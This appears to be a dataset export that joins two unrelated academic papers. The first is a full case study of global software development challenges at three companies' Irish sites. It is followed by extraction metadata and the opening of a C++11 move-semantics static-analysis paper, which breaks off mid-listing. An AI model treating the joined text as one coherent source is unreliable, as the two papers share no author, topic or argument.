Interest in global software development (GSD) is rapidly growing as the software industry is experiencing increasing globalization of business (Herbsleb & Moitra, 2001). In GSD, stakeholders from different national and organizational cultures and time zones are involved in developing software and tasks at various stages of the software lifecycle may be separated and implemented at different geographic locations coordinated through the use of information and communication technologies (Sahay, 2003). While increasing the scope of organizational operation and opening up for a broader skill and product knowledge base (Baheti et al, 2002), there is little doubt that GSD poses challenges related to project diversity, and complexity (Damian, 2002; Sahay, 2003). Ideally, members of software development teams would have rich interactions and enjoy the opportunity of having real-time collaboration and regular face-to-face meetings, share a common organisational culture which promotes coordination and facilitates control, and represent a good mix of all required technical skills and relevant experience. Clearly, GSD adds new demands to the software development process by potentially threatening these properties. Especially, temporal, geographical and socio-cultural distance is believed to challenge project processes such as communication, coordination and control (Damian, 2002).
In this paper, we present findings from a case study. Based on workshop discussions and qualitative interviews at three global software development companies, we explore the particular challenges associated with GSD. Our study also reveals some of the solutions used by the companies to deal with these challenges.
2. Global Software Development
Recent years have witnessed the globalization of many organizations and industries. As a consequence, globally distributed collaborations and virtual teams have become increasingly common in many areas such as new product development and information systems (IS) development (Sarker and Sahay, 2004). According to Carmel (1999), globally distributed IS development projects are projects consisting of teams working together to accomplish project goals from different geographical locations. In addition to geographical dispersion, globally distributed teams face time zone and cultural differences that may include, for example different languages, national traditions, values and norms of behaviour. As recognized by Ågerfalk et al (2005), there are many reasons why an organization should consider adopting a GSD model, including access to a larger labour pool and a broader skill base, cost advantage, and round the clock development. GSD is perhaps most evident in the many cases of outsourcing of software development to low-cost countries but is also relevant in the case of utilizing local expertise to satisfy local demands.
Traditionally, literature on GSD has focused on technical aspects (Kotlarsky and Oshri, 2005) and previous research suggests that proper application of
technical and operational mechanisms such as collaborative technologies, IS development tools and coordination mechanisms are the key to successful system development projects (Carmel, 1999). A related stream of studies has focused on issues relating to the dispersion of work and the constraints associated with this. In these studies, constraints such as temporal distance, geographical distance and socio-cultural distance are identified, and while they indeed increase the scope of organizational operation (Sahay, 2003) and open up for a broader skill and product knowledge base (Baheti et al, 2002), there is little doubt that these constraints challenge communication, coordination and control mechanisms (Herbsleb and Mockus, 2003, Damian, 2002).
2.1. Temporal distance
Temporal distance is a measure of the dislocation in time experienced by two actors wishing to interact (Ågerfalk et al. 2005). Temporal distance can be caused by time zone difference or time shifting work patterns and can be seen as reducing opportunities for real-time collaboration, as response time increases when working hours at remote locations do not overlap (Sarker and Sahay, 2004). When organizing work patterns, note must be taken of both temporal overlap of parties, to facilitate communication, and temporal coverage. In fact, time zone difference and time shifting work patterns can work together to either increase or decrease temporal distance. For example, a one hour difference in time-zone within Europe can, because of different routines during a working day, lead to very few overlapping hours and an appearance of higher than expected temporal distance. Conversely, a European liaising with a counterpart in India working a late shift may experience low temporal distance.
2.2. Geographical distance
Geographical distance is a measure of the effort required for one actor to visit another and can be seen as reducing the intensity of communication (Ågerfalk et al. 2005), especially when people experience problems with media and have difficulties finding a sufficient substitute for face-to-face interaction (Smith and Blanck, 2002). Geographical distance is best measured in ease of relocating rather than in kilometres. Two locations with a direct air link and regular flights can be considered close even if separated by great distance, but the same cannot be said of two locations which are geographically close but with little transport infrastructure. Ease of relocating has several facets, including ease and time of travel, and necessity for visas and permits. In general, low geographical distance offers greater opportunity for periods of co-located team work.
2.3. Socio-Cultural distance
Socio-cultural distance is a measure of an actor's understanding of another actor's values and normative practices (Ågerfalk et al. 2005). As recognized by Kotlarsky and Oshri (2005), culture can have a huge effect on how people interpret a certain situation, and how they react to it. It is a complex dimension, involving organisational culture, national culture and language, politics, and individual motivations and work ethics. It is possible to have a low socio-cultural distance between two actors from different national and cultural backgrounds who share a common organisational culture, but a high distance between two co-nationals from very different company backgrounds. Certainly, geographical distance may imply increased cultural distance. However, the cultural distance can be great even with low geographical distribution. Similarly, a huge geographical distance does not automatically mean huge cultural difference.
3. Research Method
3.1. Research sites
The focuses of our study are three global software development companies. Each company has headquarters in the US with development teams in Ireland and all three sites coordinate with other remote colleagues in, for example, India, Poland, China and Malaysia. The interviews reported on in this paper were conducted at the Irish company sites. The first company – Intel – is primarily a hardware company, whose secondary software activities support their hardware, providing functionality for their customers. Here, the software development teams work with other teams based at sites including the US, Malaysia, China, India, and Poland. In the past, certain projects included up to eight global sites, however, work is seldom split between more than two sites. The second company – Fidelity – provides financial services and investment resources internationally and is one of the largest private companies in the US. The software products developed are supplied to internal customers in the US, and involve coordinating with several software development teams in the US and in India. The third company – HP – provides desktop support services right through to mission critical service delivery. This
company’s approach to GSD can be compared to global virtual teams, with one team effectively split across sites in different continents.
3.2. Research design
Bearing the complex nature of GSD in mind, an interpretivist approach which sought to develop inductively a richer understanding based on case study analysis was deemed appropriate (Yin, 1994; Walsham, 1993).
In January 2005, the first phase of the research began with a workshop seminar on the topic, comprising researchers and industry practitioners, i.e. employees of the three target companies. This workshop was followed by a series of interviews and site visits. The combination of on-site and university-hosted seminars and workshops has been greatly facilitated by the fact that the industry sites and the university are located less than one-hour’s drive from each other. The workshops have been hands-on with committed participation by both researchers and practitioners. The workshops and seminars have been complemented with qualitative interviews with managers and software developers at both companies. The interviews were generally of one to two-hour duration. In total, 12 interviews were conducted were conducted with managers, project leaders, technical staff and software engineers, and they were all recorded and transcribed. Informal follow-up telephone interviews took place to clarify and refine emerging issues, and these emerging issues were also presented and discussed at the various workshops.
In terms of data analysis, a primarily qualitative grounded theory (GT) approach was adopted (cf. Corbin & Strauss, 1990; Miles & Huberman, 1994). The GT approach recognizes that social phenomena are complex and seeks to develop theory systematically in an intimate relationship with the data. Interview data was subsequently coded according to the categories represented by the framework factors derived earlier (temporal, geographical and socio-cultural distance), and analytical memos were written as patterns and themes emerged from the interviews.
4. Findings and discussion
In this section, the results from the qualitative interview study are presented. All interviews were conducted between July 8 and August 3, 2005. In accordance with literature in the field, we present our empirical data using three categories – temporal, geographical and socio-cultural distance.
4.1. Temporal distance challenges
According to our respondents, temporal distance is challenging when it comes to managing projects that constitute different sites. Consider this statement by one of the project managers:
“Time zone distance is the biggest problem when organizing the different parties in projects. There is an unwritten rule...the higher up you are in the organization, the more flexible you’re required to be – it is not uncommon to take calls at 10 or 11 at night, at home, but we try to keep this to a minimum” (Project manager, Intel)
Likewise, the team leader and project manager at Fidelity find temporal distances difficult when managing project resources and describe the decision to move development from India to Ireland:
“There was 0 hours of overlap with US and India and they just found it very difficult to manage the resources. There was a huge turnover of staff and that, I think, was one of the big factors for moving resources to Ireland” (Team leader, Fidelity)
Besides management problems, temporal distance challenges everyday communication within and between teams. In particular, delay of responses is seen as problematic and frustrating for individuals working in the different projects. The issue is highlighted by several respondents:
“If you’re trying to progress something very quickly, there can be an issue with the time zones...If there’s any need for me to ask something or find an update, I can’t really hold of him [American college] until 3pm my time – maybe two o’clock at the earliest” (Team leader, HP)
“I received e-mails this morning from a conversation that kicked off after I left yesterday. Sometime conversation jumps ahead, and you fall a bit behind. Often, I turn it on [Internet connection] and review e-mails at night for half an hour” (Architect, HP)
“It is frustrating...sometimes there is a lag of a day in responses. You send an e-mail today and you get one back tomorrow...People go out of their way to communicate late at night, depending on the intensity of the project at that point in time. It’s okay to do that for a while, but it’s hard to sustain it, that’s the problem. There’s burnout of people”. (Manager, HP)
“When some developers are working with people in the US and they are waiting 4 or 5 hours for a response they see themselves as having no control over the entire work process…” (Project manager, Fidelity)
Clearly, everyday communication and coordination is challenged by temporal distance. An obvious disadvantage of being separated by temporal distance is that the number of overlapping hours during a workday is reduced and that team members have to be flexible to achieve overlap with remote colleges. As noted by one of the managers, the lag in response time leaves with it a feeling of “being behind” and “missing out”, which in the long run make people frustrated and may cause burnout of people. While asynchronous tools are seen as crucial for communication and coordination, and as enablers for non-native English speakers to reflect before answering a question, the use of these tools over temporal distances increases the time it takes to receive a response. As seen in our study, and in accordance with Boland and Fitzgerald (2004), questions received by asynchronous communication overnight can be overwhelming for a developer beginning work in the morning. Also, our study reveals that limited overlap with colleagues – and therefore delay of responses – make people lose track of the overall work process, something that can pose severe problems in distributed, yet time-critical, work. As noted by Grinter et al (1999), problems and responses can drag on over days with increasing vulnerability costs as a result.
4.2. Overcoming temporal distance
In trying to manage the problems related to temporal distance, all three companies have different approaches. At HP and Fidelity, the ‘follow-the-sun’ concept is seen as one alternative, at least for parts of their businesses:
“Generally, it [the ‘follow-the-sun’ concept] is not good for development. However, it works for defect resolution and support. What we try to do is to make use of the time differences. We can do something here [Ireland] and then hand over to them [US] to run something or complete something, and they’ll leave a status note for us, or an e-mail. That works, but it takes time to build up.” (Project manager, Fidelity)
“We have ‘follow-the-sun’ core support during Monday to Friday. Someone should be able to action a call whenever it comes in. A call can be forwarded from site to site to follow the sun…” (Manager, HP)
At HP, the solution is also to have truly distributed teams, something that is commented upon as very ambitious by the manager:
“What I have seen a lot in GSD is to put clusters of people in one location versus another. In HP, we decided to cooperate between locations and to have a truly distributed team. I guess it is kind of ambitious in one way…not sure that if I had it all over again I’d do that or not…” (Manager, HP)
Despite the recognition of beneficial aspects with ‘follow-the-sun’, this concept is not put in practice at Intel. According to one of the project leaders, the concept is problematic:
“We don’t practice the ‘follow-the-sun’ concept, and we have no intent on practicing it since it is not considered practical for software development”. (Project leader, Intel)
Instead, Intel tries to keep flexible and adjust hours to get a good overlap, and according to the project manager there are few organizational changes as long as the time differences are small. Here, the solution is not to have truly distributed teams as seen in HP, but instead to make time zone differences manageable by dividing work between a limited number of sites, something that is pointed out by the project manager:
“We try to make time zone differences manageable by dividing work between no more than two geographical sites”. (Project manager, Intel)
While it has been suggested that the challenges related to temporal distance would be resolved more efficiently if teams were co-located (Boland and Fitzgerald, 2004, Carmel and Agarwal, 2001), the companies in our study show different approaches for managing temporal distance. For example, at Intel, the solution is to have work divided between no more than two sites which, according to the manager, make time zone differences manageable. At HP, on the other hand, an ambitious attempt is to have cooperation between locations and truly distributed teams. While this might not make possible for concurrent development (Sarker and Sahay, 2004), it opens up for ‘follow-the-sun’ development in which certain tasks can be forwarded from site to site to benefit from temporal distance. In our study, defect resolution and support are activities found suitable for ‘follow-the-sun’, while actual development is considered less suitable for this way of working. In accordance with Sarker and Sahay (2004), our study shows communication technologies as enablers of distributed work but they do not guarantee ‘location transparency’ or work ‘following the sun’.
4.3. Geographical distance challenges
Besides the clear advantage of “intellectual horsepower”, i.e. the ability to recruit the cream of the crop students from top universities in countries where education and employment is more competitive, the organizations in our study all experience problems related to geographical distance. As seen in our
interviews, there are difficulties in establishing a feeling of trust and belonging, i.e. “teammness” within the teams. For example, consider this statement: “The feeling is that we remain two different teams. However, there is a good cross-site relationship at management level and between certain peers… in general, the developers have not met each other”. (Software developer/team leader, Intel)
As it seems, good cross-site relationships exist at higher levels within the organization while software developers seldom meet. Interestingly, the importance of having developers meeting each other is emphasized by the manager at the same company: “It’s essential that developers travel and meet each other”. (Manager, Intel)
While the desire of having developers meeting each other is expressed from management level it does not always seem to come true. However, both respondents agree on that the opportunity to meet depends on the specific project – and also, the specific phase of the project.
“The degree of communication depends on the phase of the project. For example, during integration, when things are put together, there can be unexpected behaviour. Usually, we fly people over in critical phases. Mostly, travel happens at front-end and back-end of projects”. (Manager, Intel)
“We try to travel for integration phase and we also fly people over for key features”. (Software developer/team leader, Intel)
Clearly, a major challenge is how to create a feeling of ‘teammness’ among distributed project members. Interestingly, project management seems to have met more often than the developers, and developers in our study mention that they often feel that they remain two different teams. Previous research on distributed organizing shows that people at different sites are less likely to perceive themselves as part of the same team (Kotlarsky and Oshri, 2005) and that interacting face-to-face is indeed crucial for successful distributed work (Orlikowski, 2002). In meeting face-to-face, the aim is to get to know each other and to create social networks that can generate trust, respect and commitment and in the long term facilitate development work across various geographical sites. Our study reveals face-to-face interaction as prioritized in critical phases such as front-end and back-end of projects. For example, the integration phase is considered crucial as there can be unexpected behavior, and also implementation of key features often requires people to be co-located. However, while face-to-face interaction is considered crucial in these phases, the remaining feeling from our study is that extensive travel is carried out by management and higher level personnel, while software developers and low level project participants in general have usually not met each other. In meeting more often, project members would be able to deal more effectively with some of the temporal and geographical boundaries they encounter in their everyday work (Orlikowski, 2002). Also, a “bridgehead” (Carmel and Agarwal, 2001) or “liaison” (Battin et al, 2001), i.e. a person from one site working in another site and acting as a mediator between sites, may be helpful in situations where geographical distance challenge the feeling of ‘teammness’.
4.4. Overcoming geographical distance
In our study, all respondents emphasize travelling as very important for project success. Most managers spend a lot of time in meetings and one manager pointed out that travelling is indeed a major part of his work: “I spend more than 50% of my time elsewhere. Travelling is essential”. (Manager, Intel)
Also, the companies work hard on creating structures that facilitate for team spirit and trust. While daily, weekly and monthly meetings are practised at all three sites, there are also additional activities that take place: “We try to work hard to get team cohesion. For example, we try to keep photos on the website and a profile of everybody to realize that there is actually ‘a human-being at the other side’…we also have some co-located team building activities, especially during project definition work”. (Project manager, HP)
As in solving the problems with temporal distances, Intel tries to keep dependencies among teams as low as possible: “Our current tactic is to have as few dependencies as possible on other teams’ work”. (Manager, Intel)
Finally, nearshoring, i.e. offshore destinations that are geographically close to the client country, is mentioned by the manager at HP as an interesting alternative for coming to terms with geographical as well as temporal distances. According to him, it hasn’t happened yet but it will definitely be a solution to consider in the future: “It hasn’t happened, but I think that’s where we’ll go in the next wave…There are examples – like the east or west coast of the US outsourcing to Brazil. You won’t have the timezone or geographical problem, but you’ll still have the language problem” (Manager, HP).
In our study, all companies try to reduce geographical distance and the challenge of creating ‘teammness’ among distributed project participants. The use of technology in terms of team websites is common.
and previous research describes such websites as encompassing all facets of individual- and task-related information – from the programmers’ photos to test documentation (McConnell, 1998). Another approach for alleviating geographical distance, and as mentioned by one of the managers in our study, is ‘nearshoring’. Traditionally, the term nearshore is seen to refer to reducing communication and coordination issues associated with undertaking IT work at a distance and has come to be associated with offshore destinations that are geographically close to the client country (Carmel and Agarwal, 2001). While it has not yet been employed by the companies in our study, it is seen as an interesting alternative in the future for reducing time-to-travel and for increasing cultural similarity.
4.5 Socio-cultural distance challenges
Socio-cultural distance is a complex dimension involving organizational culture, national culture and language, politics, and individual motivations and work ethics. In our study, it is obvious that language can be a barrier in many projects:
“We often experience minor language problems, especially when vocabulary is limited to technical subjects…even going out at night with them [non-native English speakers], conversation can revert back to technical subjects because of their limited vocabulary”. (Software developer, Intel)
Besides vocabulary itself, interpretation and meaning can be different. As can be seen in the statements below, both managers and project participants experience this:
“Difficulties can arise in countries where it is considered impolite in saying ‘no’ even when ‘yes’ would be an inappropriate answer. I have heard people saying ‘yes – no problem, we will have it done by the weekend’ and then 3-4 months later it is still not done and some of the developers might already have left the project…I think it is due to pride – they’ll obey when asked, without saying they can’t do it within the given timeframe”. (Project manager, Intel)
“The general understanding is not too bad. It is often the more subtle ones [cultural issues] that can trip you up the most. They’re the ones that slip through. You interpret it one way, and they interpret it the other way. That gets worse the further away from native English speaking people you go”. (Architect, HP)
Interestingly, there is not only native English and homogenous non-native English groups to deal with. This experience was new to one of the managers in our study:
“One thing that hit me was that when I met the Indians in Fort Collins they all spoke different languages. They are not a monolithic group of people. This was a real revelation to me – I knew there were many different cultures in India, but I couldn’t believe the extent of it. They had to speak between each other in English”. (Project manager, HP)
Besides language problems, there are cultural, political and religious differences that challenge project work. More or less, all companies in our study have experienced this. Consider for example these statements by one of the architects at one company:
“There are a lot of political and religious diversity…if any element of that came into everyday work it could just blow everything apart and create lot of tensions...” (Architect, HP)
“When you have language difficulties initially causing confusion, I think cultural differences can actually drive further awkward situations, and it snowballs...” (Architect, HP)
In relation to socio-cultural distance, the most widely experienced difficulty seems to be related to language and interpretation. In our study, employees from all three companies mention language problems as the primary reason for – if not conflict – but misunderstandings. Often, conversation is focused on technical issues due to lack of vocabulary and even at social activities the topic for discussion is often work-related. While it has been argued that informal communication play a critical role in coordination activities for co-located IS development, it is believed to only increase when size and complexity of IS development increase (Kotlarsky and Oshri, 2005). Informal conversation allows team members to develop working relationships, and allows a better flow of information about changes in the current project (Herbsleb and Mockus, 2003). Consequently, the need for informal conversation in GSD is extensive, yet there is the recognition of far less frequent communication in distributed development teams and that people find it far more difficult to identify distant colleagues and communicate effectively with them (Herbsleb and Mockus, 2003).
4.6. Overcoming socio-cultural distance
To try to reduce socio-cultural challenges, all companies have their own solutions. For example, language problems can be overcome by using asynchronous communication:
“We try to overcome language problems by making communication more formalized, i.e. written, so that
people with lower competency in English can take their time in reading a document”. (Manager, Intel)
Also, creative solutions such as a ‘buddy system’ seem to work at Fidelity:
“We have a ‘buddy system’ in which each developer in India was ‘buddied up’ with a developer in Ireland. That worked very well. We also sent two developers from Ireland to India”. (Project manager, Fidelity)
Overall, travelling seems to be the way in which to solve problems. As recognized by one of the team leaders, most employees travel extensively to ‘broaden their minds’:
“Most of my employees have travelled or have worked in different places. This broadens you as an individual, makes you more open to people coming from different places…that they are not going to do things or think the same way as you do”. (Team leader, Fidelity)
Interestingly, our study shows that language and vocabulary itself is not the main problem but rather the interpretation of what is said. Most often, the general understanding of English is very good. However, more subtle issues cause confusion and misunderstanding, and in trying to solve these issues by using communication technologies in which facial expressions and social cues are left out – misunderstandings can “snowball” and get even worse. Here, it is important to recognize that virtual team members are typically drawn from different countries with varying cultural assumptions regarding what to say, how to say it and when to say it. For example, previous research shows that different rhythms around the use of e-mails may lead to communication challenges, particularly in the way ‘silence’ is interpreted in different locations (Sarker and Sahay, 2004). In addition, different cultures answer in different ways. As recognized by Krishna et al (2004), Japanese professionals take longer time to reply due to their communication culture which values completeness in their mode of replying, while for example Indian professionals reply immediately due to prior work experience with US colleges. However, while a delayed response is sometimes more thought through, and while a fast response is sometimes preferable – the challenge of interpretation remains. Here, the more subtle structures of different cultures have to be understood, allowing distributed project members to internalize and identify with a common way of thinking (Orlikowski, 2002).
6. Conclusions
The objective of this paper was to identify, through empirical investigation at three US based GSD companies operating in Ireland, the particular challenges associated with GSD. We have identified challenges arising out of temporal, geographical and socio-cultural distance. Our study has also revealed some of the solutions used to deal with these challenges. Interestingly, although the challenges reverberate throughout the three organizations, the ways of overcoming them are remarkably diverse. For example, solutions used to create overlap in time ranged from dividing work between no more than two sites to having truly distributed teams allowing round-the-clock development. So, what are the main challenges associated with GSD, as experienced by the companies involved in our study?
First, and in relation to temporal distance, our respondents emphasize the challenge of creating overlap in time between different sites. Despite flexible work hours and communication technologies that enable asynchronous communication, extensive delay in responses brings with it a feeling of “being behind” and “missing out” – even losing track of the overall work process. The risk for burnout of people is considered high and despite the opportunity for ‘follow-the-sun’ development which is possible when having truly distributed teams, temporal distance might instead cause companies to limit the number of sites between which work is divided. Second, geographical distance challenge team spirit, i.e. ‘teamness’, and while all respondents agree on the importance of this, they also recognize the difficulty of establishing and maintaining this in a distributed development environment. While websites with photos and individual profiles indeed serve a purpose, the common solution still seems to be travelling between sites – an activity, that to be successful, must be carried out by high, as well as low-level project participants. Finally, in relation to socio-cultural distance, our respondents emphasize the inherent challenge of creating mutual understanding between people with different backgrounds. Not only is vocabulary limited but different cultures have different ways of interpreting what is being said. Often, the general understanding of English is considered good, but more subtle issues, such as political or religious values, cause misunderstandings and conflicts within projects. In trying to solve this, companies work hard to stimulate informal as well as formal knowledge sharing between project participants. In the end, however, it comes down to individuals and the capacity and interest of understanding other people.
Given how difficult it is to establish a shared frame of reference and mutuality in communication even among those who are co-located, we agree with Schultze and Orlikowski (2001), who contend that
creating and sustaining a coherent connection among distributed individuals occupying a shared electronic space present a major challenge. As identified in our study, a possible solution to this would be to trim down GSD towards nearsourcing – thus potentially reducing all three distances (Lapper and Tricks, 1999, Carmel and Agarwal, 2001). While there exists ample opportunity to extend and refine the findings discussed in this paper, we believe that our study will help unravel some of the main challenges associated with GSD and thus, find possible solutions for overcoming – or at least reducing – these challenges.
7. References
|
{"Source-Url": "https://ulir.ul.ie/bitstream/handle/10344/2074/2006_Holmstrom.pdf?sequence=2", "len_cl100k_base": 6808, "olmocr-version": "0.1.50", "pdf-total-pages": 9, "total-fallback-pages": 0, "total-input-tokens": 27975, "total-output-tokens": 8584, "length": "2e12", "weborganizer": {"__label__adult": 0.0005779266357421875, "__label__art_design": 0.0005593299865722656, "__label__crime_law": 0.0004320144653320313, "__label__education_jobs": 0.00632476806640625, "__label__entertainment": 9.560585021972656e-05, "__label__fashion_beauty": 0.0001938343048095703, "__label__finance_business": 0.0023174285888671875, "__label__food_dining": 0.0004558563232421875, "__label__games": 0.0006656646728515625, "__label__hardware": 0.0006351470947265625, "__label__health": 0.0006051063537597656, "__label__history": 0.0003819465637207031, "__label__home_hobbies": 0.00011861324310302734, "__label__industrial": 0.0004396438598632813, "__label__literature": 0.0005125999450683594, "__label__politics": 0.0004100799560546875, "__label__religion": 0.00045871734619140625, "__label__science_tech": 0.0112457275390625, "__label__social_life": 0.00036787986755371094, "__label__software": 0.00769805908203125, "__label__software_dev": 0.9638671875, "__label__sports_fitness": 0.00033092498779296875, "__label__transportation": 0.0009059906005859376, "__label__travel": 0.00043082237243652344}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 38755, 0.02521]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 38755, 0.22482]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 38755, 0.94973]], "google_gemma-3-12b-it_contains_pii": [[0, 4175, false], [4175, 9059, null], [9059, 13827, null], [13827, 18900, null], [18900, 24078, null], [24078, 29016, null], [29016, 34262, null], [34262, 38569, null], [38569, 38755, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4175, true], [4175, 9059, null], [9059, 13827, null], [13827, 18900, null], [18900, 24078, null], [24078, 29016, null], [29016, 34262, null], [34262, 38569, null], [38569, 38755, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 38755, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 38755, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 38755, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 38755, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 38755, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 38755, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 38755, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 38755, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 38755, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 38755, null]], "pdf_page_numbers": [[0, 4175, 1], [4175, 9059, 2], [9059, 13827, 3], [13827, 18900, 4], [18900, 24078, 5], [24078, 29016, 6], [29016, 34262, 7], [34262, 38569, 8], [38569, 38755, 9]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 38755, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-02
|
2024-12-02
|
c7b10d31cc2c410d0726e411ca8c03a05811591a
|
Automatic Checking of the Usage of the C++11 Move Semantics
Áron Baráth* and Zoltán Porkoláb*
Abstract
The C++ programming language is a favorable choice when implementing high performance applications, like real-time and embedded programming, large telecommunication systems, financial simulations, as well as a wide range of other speed sensitive programs. While C++ has all the facilities to handle the computer hardware without compromises, the copy based value semantics of assignment is a common source of performance degradation. New language features, like the move semantics were introduced recently to serve an instrument to avoid unnecessary copies. Unfortunately, correct usage of move semantics is not trivial, and unintentional expensive copies of C++ objects – like copying containers instead of using move semantics – may determine the main (worst-case) time characteristics of the programs. In this paper we introduce a new approach of investigating performance bottlenecks for C++ programs, which operates at language source level and targets the move semantics of the C++ programming language. We detect copies occurring in operations marked as move operations, i.e. intended not containing expensive copy actions. Move operations are marked with generalized attributes – a new language feature introduced to C++11 standard. We implemented a tool prototype to detect such copy/move semantic errors in C++ programs. Our prototype is using the open source LLVM/Clang parser infrastructure, therefore highly portable.
Keywords: C++ runtime performance, C++ generalized attributes, C++ move semantics, static analysis
1 Introduction
In this paper we introduce a new approach of automated checking the correct usage of the move semantics introduced by the C++11 standard [15]. As copying objects instead of moving them is considered one of the major performance bottlenecks in C++, the proper usage of the move semantics may determine the runtime performance for C++ programs.
*Department of Programming Languages and Compilers, Faculty of Informatics, Eötvös Loránd University, Pázmány Péter sétány 1/C, H-1117 Budapest, Hungary, E-mail: {baratharon,gsd}@caesar.elte.hu
DOI: 10.14232/actacyb.22.1.2015.2
The runtime performance can be estimated in various ways, depending on which program features should be calculated. The most obvious, but also the most difficult approach is the quantitative time estimation (e.g. in seconds) [21, 8]. Such analysis is a complex and difficult area, because of the processor’s cache operations, interrupt routines and the operating system impact the execution time. Also, it is very difficult to replicate a specified scenario. Estimating or measuring the execution time as an absolute quantity therefore is still an unsolved problem for the most popular programming languages, like C++.
In the same time, performance estimation is also important on the source code level. When evaluating a library which can be compiled on different platforms with different compilers we are interested not in absolute or approximated time but rather the number of certain elementary statements, e.g. number of (expensive) copy instructions of certain types. This approach allows us to process the code at the language source level, which is architecture independent. At the language level the number of assignments, comparisons, and copies can be measured. These discrete values can be capped by a predefined limit and can be checked by static analysis tools. Also, using such tools serious programming errors can be detected, what none of the low-level estimations can reveal.
In this paper, we introduce a method to detect move semantics errors in C++ programs. The method is based on the explicit labeling of those operations that the designer intended as move operations, i.e. not to include expensive copy operations. The operations excluded can be copy constructor or assignment operator calls as well as parameter passing or returning by value of complex types. Inside move operations we allow only the call of other move operations and the manipulation (copy) of non-aggregated built in types.
In order to test our method we implemented a prototype tool based on the public domain LLVM/Clang C++ compiler frontend [9, 11]. LLVM/Clang is a highly portable emerging compiler infrastructure planned explicitly as a reusable object-oriented library. Using Clang we analyze the abstract syntax tree of the source and recognize the mistakes committed in move operations and report them to the user.
This paper is organized as follows: in Section 2 we discuss the necessity of the move semantics in C++, and we present use cases for the move semantics and show possible mistakes related with. In Section 3 we present a new C++11 feature, called generalized attributes, and we use this mechanism to annotate the source code with expected semantics information. Also, we introduce our Clang-based tool to check semantics and display error messages to the mistakes. We evaluate our method and the prototype tool in Section 4. In Section 5 we briefly present Welltpye, our prototype language, in which semantic information can be marked explicitly. We also discuss our future plans to extend our C++ move semantics checker. The paper concludes in Section 6.
2 C++ move semantics
Copy semantics play a central role in modern object-oriented languages. Certain languages have reference semantics. Objects are created in a (possibly managed) heap, and are referred by unique handlers (pointers, references). When we apply assignment between such objects the actual operation has effect only on the handlers: the handler of the left side of the assignment will refer the object referred by the right side. No data is copied between the referred objects. This strategy is called as shallow copy. For deep copy programmers have to define specific user operations, like the clone function in Java [5].
The C and C++ languages have value semantics [7, 16]. Objects of C and C++ – either having built-in or user defined types – can exist in the stack, in the static memory or in the heap. In all cases variables identify the raw set of bits of objects without immediate handlers. When we apply assignment, we copy raw bytes by default.
Object-oriented languages are designed to give programmers the possibility of creating new types in the form of classes. Such types may be constructed from other complex types in a recursive manner and copying their raw bytes may not be the proper copy semantics. For such cases programmers in C++ may define copy constructor for initialization and the operator= for assignment. These operations usually implemented using the already defined copy operations of subobjects or the explicit copy instructions decided by the programmer. When no user defined copy constructor or assignment operator have been provided the default memberwise copy operations will be applied.
While this behavior is very convenient when we want to encapsulate the implementation of classes and building higher abstractions, it may also be a cause of serious performance issues. In case of complex classes, like matrices, vectors, lists, a single assignment may cascading down to a huge number of byte-level copies. This phenomenon exists for the containers of the C++ standard library too. Temporary objects created during the evaluation of expressions are also critical performance bottlenecks. The used new and delete operators, the overhead of the extra loops and memory access are costly operations.
Todd Veldhuizen investigated this issue, and suggested C++ expression templates [19] and template metaprogramming [2, 6, 14, 20] as a solution. The basic idea is to avoid the creation of temporaries, and unnecessary copies, but "steal" the resources of the operands, i.e. move the ownership of the data representation between assigned objects. Such move operations can be implemented library-based, like the Boost.Move library [1] with overloading the original copy operations. Library-based solutions, however, lack to distinguish objects which are destroyable, i.e. their resources can be safely moved out.
To distinguish non-destroyable objects from possible sources of move operations, i.e. those which can be destroyed language support is required. The C++11 standard has introduced a new reference type: the rvalue reference [15, 17]. In the source code, the rvalue references have a new syntax & to yield reference to destroyable objects. Using this syntax, constructors, copy constructors and as-
class Base
{
public:
Base(const Base& rhs); // copy ctor
Base(Base&& rhs); // move ctor
Base& operator=(const Base& rhs); // copy assignment
Base& operator=(Base&& rhs); // move assignment
};
// ...
Figure 1: Copy- and move constructors.
Base f();
void g(Base&& arg_)
{
Base var1 = arg_; // applies copy: Base::Base(const Base&)
Base var2 = f(); // applies move: Base::Base(Base&&)
// arg_ goes out of scope here
}
Figure 2: Named rvalue explained.
Assignment operators can be overloaded with multiple types. Constructors and assignment operators with rvalue parameters are called move constructor and move assignment, as we can see in Figure 1. The move constructor and move assignment changes the ownership of the data representation of the argument object, and set it to an empty but valid (destroyable) state.
Note that, the actual parameter passed in the place of an overloaded constructor may be either an rvalue or an lvalue. When the object passed as parameter is referred by a name, then it is lvalue, otherwise it may be an rvalue. This rule – often referred as “if it has a name” rule – is explained in Figure 2.
Unfortunately, this is one of the situations where C++ programmers can easily make mistakes, and no errors or warnings will be generated by the compiler. In Figure 3 we can see a base and a derived class. The Base class has a proper copy constructor and a move constructor. The implementation of the copy constructor uses costly copy operations, while the move constructor uses move semantics.
In the code snippet in Figure 3, the Derived(Derived &&) move constructor is intended to use move semantics, and the Base subobject is supposed to be moved using the base class move constructor. However, because of the if it has a name rule explained above, the Derived constructor passes the (named) parameter rhs as an lvalue to the Base(rhs) constructor call, therefore the copy constructor of the Base subobject will be called. Even if the derived part of the object is moved, the
class Base
{
public:
Base(const Base& rhs); // copy ctor
Base(Base&& rhs); // move ctor
Base& operator=(const Base& rhs); // copy assignment
Base& operator=(Base&& rhs); // move assignment
